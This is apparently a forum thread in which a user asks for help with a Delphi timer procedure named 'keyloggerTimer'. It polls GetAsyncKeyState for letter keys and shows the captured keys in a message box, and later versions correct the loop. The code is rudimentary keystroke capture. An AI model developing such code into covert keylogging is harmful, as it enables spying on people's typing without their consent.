- Code: Select all
procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;
Could anyone help me?
procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
ShowMessage(key);
end;
end;
procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin
key := '';
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
end;
if key <> '' then
begin
keylogger.enabled := False;
ShowMessage(key);
keylogger.enabled := True;
end;
end;
procedure TForm2.keyloggerTimer(Sender: TObject);
var
i: Integer;
key: String;
begin
key := '';
for i := 97 to 122 do
begin
if GetAsyncKeyState(i) <> 0 then
key := key + Chr(i);
end;
if key <> '' then
begin
keylogger.enabled := False;
ShowMessage(key);
keylogger.Enabled := True;
end;
end;
Users browsing this forum: No registered users and 3 guests